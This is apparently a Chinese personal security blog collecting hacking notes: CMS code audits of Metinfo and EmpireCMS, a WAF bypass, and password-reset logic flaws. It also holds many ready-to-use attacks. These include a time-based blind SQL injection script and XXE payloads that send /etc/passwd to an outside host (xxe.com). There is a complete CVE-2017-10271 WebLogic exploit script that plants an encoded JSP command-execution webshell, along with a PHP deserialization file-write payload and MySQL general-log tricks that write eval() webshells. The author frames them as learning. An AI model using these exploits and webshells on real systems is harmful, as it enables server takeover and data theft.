一个有梦想的少年。

Metinfo 6.1.2 SQL注入

这个注入影响也是挺大的

可以看看FOFA搜索到的结果


这是i春秋Ashe大佬挖的据说前面也挖了几个  但是官方一直没有修复

原文https://bbs.ichunqiu.com/thread-46687-1-1.html

因为没有审计过单入口的cms 于是也想把过程记录下来在记录过程中找到自己不明白的地方再解决弥补自己不的不足

首先先从入口文件index.php开始了解这个cms的大致框架


如图调用的常量已经被定义好,找了一下可控的常量位置在/admin/index.php处

代码如下


4个参数可控

M_NAME=$_GET['n']

M_MODULE=$_GET['m']

M_CLASS=$_GET['c']

M_ACTION=$_GET['a']

接着跟着进到文件/app/system/entrance.php看看每个参数的作用

首先看 M_NAME,从seay代码审计的全文追踪功能可以看出,这个常量的大概功能是定义别的调用的文件路径

再看M_MODULE=$_GET['m']



英文翻译过来就是模块的意思,可以猜测是调用的模块

我们重点来看 $_GET['a'],$_GET['c']去哪了,在46-51行可以看到从客户端获取的参数传进来并赋值给新的变量和新的常量


在88-90行引用了文件/app/system/include/class/load.class.php,并且调用了load类里面的静态函数module(),跟进


函数将M_CLASS的值传给了$modulenameM_ACTION传给了$action,接着又调用_load_class()函数,继续跟进

看到224-248行


由代码可以看出 判断是否存在$modulename这个类名,再判断是否存在$action这个函数是否存在,接着再判断函数名前面是否包含有’do’,一层一层下来,我们就可以理清思路,我们可以通过提交m和n参数确定调用的文件,通过提交c参数来确定调用的类名,a参数则是任意带有do的函数

漏洞触发

漏洞触发文件是在/app/system/message/web/message.class.php

漏洞函数add()


37-51行,函数未使用引号闭合,导致存在SQL注入

但是在构造payload的时候发现关键字被过滤了,过滤函数在 Metinfo/app/system/include/class/common.class.php中  common类可以是 message的爷爷辈了,可以看到过滤函数 Load_form()在初始化函数中被调用


查看Load_form()



看到了使用daddslashes()函数过滤,看看daddslashes()函数


这里可以看到sqlinser()函数进行过滤,这不重要,有意思的是这里做了个判断,如果IN_ADMIN定义了,则仅使用addslashes()进行过滤,当我们使用/admin/index.php文件进行调用的时候,前面会定义好IN_ADMIN常量,我们就绕过了sqlinser()函数,

漏洞利用:


这里可以使用时间盲注也可以使用布尔型的注入,如果需要使用布尔型的id就必须为42或者44

因为在add()函数后面会判断查询结果是否存在,如果不存在则exit(),在i春秋上人家也放出exp了

效果:

看密码就修改admin_id字段就行了



EmpireCMS_V7.5代码执行漏洞

看了大佬的学习方法,自己很受启发,不是天才就需要努力,给自己定个小目标,每周看大佬3-4篇的审计思路复现并记录,每天都要有收获。

原文连接:https://bbs.ichunqiu.com/thread-46685-1-1.html

文中作者一共写了三个漏洞,两个代码执行一个任意文件写入getshell,第二个作者就没有写出详细的审计过程只是略过,我复现的过程中也是有点懵了遂把详细过程写出来。

漏洞功能点:后台-系统-备份与恢复数据-备份数据

利用过程


代码审计

首先看文件\e\admin\ebak\phome.php 在点击备份数据后,数据包的数据包里参数phome=DoEbak


所以直接关键字定位到70行



这里调用了Ebak_DoEbak()函数,函数位置在\em\e\admin\ebak\class\functions.php

175行-258行


这里我们都是对POST传入的参数进行赋值和类型转换,我们利用的tablename[]这个参数,所以我们主要看这个参数传去哪了,这里将传入的tablename[]这个数组传给了$tablename这个变量,再往下看210行开始


循环取出$tablename里的值,并经过简单的过滤拼接成字符串传给$b_table变量,而$b_table这个变量在233行又被传入了$string里面,并且被包含在带有php的标签中,再往下看


在249行调用了WriteFiletext_n()函数,该函数位置位于/e/class/connect.php 1973行,


函数很简单就是将传入的数据直接写入路径为$filepath的文件中,在上面那幅图中248行,看可以看到$cfile是如何拼接的,$add['mypath']在数据包中可看到也可控,$bakpath是一个全局的变量赋予在179行

至此我们就可以任意写入文件了导致代码执行了

写入之后config文件的效果

由于没有引号  所以这里会被当成函数来执行  如果将phpinfo()换为eval()  就可以拿到一个熟悉的shell了~



安全狗Bypass

环境 Lnmp

安全狗官方nginx免费版V2.4

看起来好像版本很低

Payload :'/*/*%/**/union/*/*%aaaaaa/**/allselect/*/*%aaaaaa/**/1,2,version()/*/*%aaaaaa/**/from users -- -


小坑

前面使用联合查询没构造错误条件的时候一直没爆出东西  然后就以为是安全狗拦截了  也是前面自己一直没想明白就走了弯路

正常情况下的联合查询

异常参数的查询


看到正常的查询他会返回两条结果,异常的只有一条,输出的时候他就会选择第一条数据而看不到我们查询的数据


钓鱼网站代码审计尝试

晚上才能静下心看得下代码… 这个cms是在I春秋拿的  看着大佬们的文章自己也想尝试  就下下来复现一波

原文

https://bbs.ichunqiu.com/thread-40651-1-1.html

https://bbs.ichunqiu.com/thread-40592-1-1.html


这是搭建的效果



后台

这里我用的是sublime_text 3编辑器

直接定位到问题文件/include/member.php


看到前面几行代码,就可以明显的发现问题了,这个$admin_user 并没有进行过滤直接传入SQL执行语句,很明显的注入,但是由于第一行代码进行了限制,我们不能直接访问该文件,所以我们就进行全局搜索寻找利用点


发现\include\common.php是调用了member.php这个文件,

发现这个文件是可以直接访问的,接下来可以直接构造payload了

前面问题文件member.php,先判断cookie里是否存在islogin参数,再判断cookie里是否存在admin_user,接着再将admin_user进行base64解码

所以尝试构造payload




可以看到我们构造的payload已经成功执行,

接着再写一个python脚本就可以直接跑出来了

现在太晚了加人懒  自己就懒得写了 - -

这里可以直接用人家写好的

https://bbs.ichunqiu.com/thread-40703-1-1.html

效果



SQL盲注-基于时间的python盲注脚本

学而不思则罔,死而不学则殆

在几次测试中,自己手工找出来的sql注入漏洞 sqlmap竟然没跑出来,这就很尴尬了,所以就自己练习也个盲注脚本,以后测试或者在绕过waf的时候都能用到。

import time

import requests



payloads = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_."

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"}

database = ""

url = "http://192.168.1.102/sqli-labs/Less-6/?id=1"

exp = '" and if(ascii(substr(database(),{0},1))={1},sleep(3),1) %23 '

for num in range(1,10):

    for i in payloads:

        url_ = url+exp.format(num,ord(i))

        start_time = time.time()

        r = requests.get(url_,headers=headers)

        if time.time()-start_time > 2.5 :

            database = database+i

            print database

        else:

            pass

测试效果:


在跑表和字段的时候就需要自己修改exp了

任意用户密码重置漏洞



人懒啊,报告又要写得多,只能靠挖挖逻辑漏洞来维持生活这样子,最近逻辑漏洞也比较火,哪里都有这些案例。这个是个内网地址就不打码了。

任意密码重置(一)

密码找回页面



当输入帐号和验证码之后,他会返回一个电话号码然后发送短信让我们进行验证,然后我们开启监听,获取返回包,并且将返回的电话号码改成我们的电话号码,再发送



修改了之后发送




这时候电话号码就变成了我们自己的电话号码,获取短信验证就能进行密码修改了

任意密码重置(二)

这个漏洞触发点跟上面那个也是同个系统,但是是不同的方式,直接绕过验证,进行密码修改。

首先,我们先输入帐号和验证码获取手机号码,进入到如下页面


可以看到密码找回的页面是有规律的,并且,系统没有对用户的访问权限进行控制,我们直接将forgetpwd3.jsp修改为forgetpwd4.jsp



直接进入到了设置新密码的界面,但是在这里帐号名和手机号是不可写的,这时候就到审查元素大神出场了,打开html源码


发现账户名和手机号都是readonly属性,这里直接双击这个属性,然后删除就可以直接进行编辑了。这里需要填上我们上一步获取的手机号


填上新密码提交

有人说blog要写人生感悟,可是我还是个未成年啊!哪里来的人生感悟。


XXE学习

其实也没有做太深入研究,就正好有环境,然后学习基础。不然面试又要问到懵逼了….



一个是有回显的,一个是没有回显的。

在有回显的情况下直接利用file协议进行文件读取



如果没有回显就用另外的方法测试。

无回显,引用远程服务器上的XML文件读取文件

Payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://xxe.com/1.xml">

%remote;]>

将以下1.xml保存到WEB服务器下1.xml

<!ENTITY % a SYSTEM "file:///etc/passwd"> 

<!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c

其实这里就是创建一个外部实体remote,他的值就是引用远程WEB服务器下1.xml。远程的1.xml内容是创建一个a和一个b的实体,a的值是读取/etc/passwd的值,b是将a的值利用gopher协议传输到远程Web服务器。

无回显的还有另一种测试方法

在主机上放一个接收文件的php(get.php):

<?php

file_put_contents('01.txt', $_GET['xxe_local']);

?>

1.xml内容

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">

%int;

%trick;

这个XML,他引用了外部实体etc/passwd作为payload的值,然后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。

接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。

发包过去后,就会请求1.xml,解析这个xml造成XXE攻击,读取etc/passwd并进行base64编码后传给get.php,最后保存到主机上

其实在给客户测试这些没有回显的漏洞的时候,也可以通过DNSLOG来验证漏洞是否存在。

还有别的危害就是能直接执行命令,探测内网等等,执行命令需要目标环境安装expect扩展,在参考文章里有写。

参考文章

http://www.freebuf.com/column/156863.html

http://uknowsec.cn/posts/notes/XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html


CVE-2017-10271 windows Getshell脚本

好久没有写python,然后准备要用python来做课设,现在就想认真学习python。正好在Tools看到大神发的exp,就想用Python练习一波。

# coding = utf-8

import requests

import sys


def exp(url):

    header = {

        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',

        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

        'Cookie': 'JSESSIONID=nczyhG8NwQ8ypTPHBCBlDwBk26XQD2vSpC4m9hqTvn4Jgy0nrCMJ!1975769378',

        'Connection': 'close',

        'Upgrade-Insecure-Requests': '1',

        'Content-Type': 'text/xml',

        'Content-Length': '2579'}

    payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java>

<java version="1.4.0" class="java.beans.XMLDecoder">

<object class="java.io.PrintWriter">

<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>

<void method="println"><string>&#60;&#37;&#10;&#32;&#32;&#32;&#32;&#105;&#102;&#40;&#34;&#112;&#97;&#115;&#115;&#119;&#64;&#114;&#100;&#34;&#46;&#101;&#113;&#117;&#97;&#108;&#115;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#112;&#119;&#100;&#34;&#41;&#41;&#41;&#10;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#32;&#105;&#110;&#61;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#103;&#101;&#116;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#40;&#41;&#46;&#101;&#120;&#101;&#99;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#105;&#34;&#41;&#41;&#46;&#103;&#101;&#116;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#40;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#105;&#110;&#116;&#32;&#97;&#32;&#61;&#32;&#45;&#49;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#98;&#121;&#116;&#101;&#91;&#93;&#32;&#98;&#32;&#61;&#32;&#110;&#101;&#119;&#32;&#98;&#121;&#116;&#101;&#91;&#50;&#48;&#52;&#56;&#93;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#119;&#104;&#105;&#108;&#101;&#40;&#40;&#97;&#61;&#105;&#110;&#46;&#114;&#101;&#97;&#100;&#40;&#98;&#41;&#41;&#33;&#61;&#45;&#49;&#41;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#108;&#110;&#40;&#110;&#101;&#119;&#32;&#83;&#116;&#114;&#105;&#110;&#103;&#40;&#98;&#41;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#47;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#37;&#62;</string></void><void method="close"/>

</object>

</java>

</java>

</work:WorkContext>

</soapenv:Header><soapenv:Body/></soapenv:Envelope>'''

    r = requests.post(url=url+"/wls-wsat/CoordinatorPortType",data=payload,headers=header)

    rr = requests.get(url=url+"/wls-wsat/test.jsp")

    if rr.status_code == 200:

        print "CVE-2017-10271 is Valuble"

        print "shell:%s/wls-wsat/test.jsp"%url

        print "Post:pwd=passw@rd&i=Command"

    else:

        print "Getshell failure!"



if __name__ == '__main__':

    try:

        url = sys.argv[1]

    except:

        print "Usage: wls_Getshell.py http://test/"

        exit()

    exp(url)





PHP反序列化漏洞

        先说说漏洞,个人理解就是当需要反序列化的参数用户可控,并且类中的魔术函数存在危险函数则可能会导致web服务器受到攻击。

        背景知识: PHP中有一些特殊函数可以自动调用,即它们不需要其它函数的调用即可执行自己的代码,考虑到这个特性,这些函数通常被称为魔幻函数或魔幻方法。

        最常用的魔幻函数是__construct(),因为PHP版本5中,__construct方法实际上是你所定义的类的构造函数。对于一个给定的类,如果PHP 5找不到   __construct()函数,那么它将搜索一个与类名字相同的函数,这是PHP中编写构造器的老方法,这种方法中你只需要定义一个名字与类名相同的函数。

 

 下面是PHP中的一些魔幻函数:

__construct(), __destruct(), __call(),__callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(),__toString(), __invoke(), __set_state(), __clone(), __autoload().

漏洞复现:

先粘贴上漏洞代码


先创建一个AA类,类中__destruct()是PHP的析构函数,进行反序列化之后,__destruct()函数会自动调用自身里面的代码即file_put_contents()函数。

接着我们再构造利用字符串


这里的AA类中重新定义了$filename和$data两个变量

GET:http://192.168.18.128:8088/test.php?test=O:2:%22AA%22:2:{s:8:%22filename%22;s:9:%22shell.php%22;s:4:%22data%22;s:18:%22%3C?php%20phpinfo();?%3E%22;}


发现本地生成了shell.php文件


bingo~

每天都在进步,总有一天会成为优秀的人。

参考文章:

http://www.freebuf.com/vuls/80293.html

https://www.cnblogs.com/yinqin/articles/4962837.html


利用mysql general log 写shell

这个可以在waf拦截我们使用into outfile()写shell的时候进行利用,前提是我们必须是root权限,并且知道网站的绝对路径。

先查看当前Mysql的日志位置

mysql> show variables like '%general%';


在这里我们的general_log未开启,当我们开启general_log以后,每执行一条sql都会被自动记录到这个日志文件中,我们就可以通过这种方式,把我们的shell代码也自动写进去,,运维可能平时都是拿这个来查慢查询,只会临时开启下,所以,如果想利用,就只能我们自己手动开,这就是为什么要root权限才行,因为它涉及到mysql自身参数配置。

将general_log开启

mysql>set global general_log = on;  

此时,再将原本的日志文件位置指向到目标网站的物理路径

mysql> set global general_log_file = 'C:/wamp/www/shell.php';


现在可以查看我们本地会生成一个shell.php的文件

现在可以写shell了

mysql> select '<?phpeval($_POST[123]);?>';






最后,干完活儿以后务必记得把配置恢复原状。不然,目标站如果访问量比较大,日志文件可能会瞬间暴增连shell时会巨卡。

mysql> set global general_log_file = ' c:\wamp\bin\mysql\mysql5.6.17\data\MS-20160424IGEI.log';

mysql> set global general_log = off;


参考文章:http://www.freebuf.com/column/150308.html


© Goodboy|Powered by LOFTER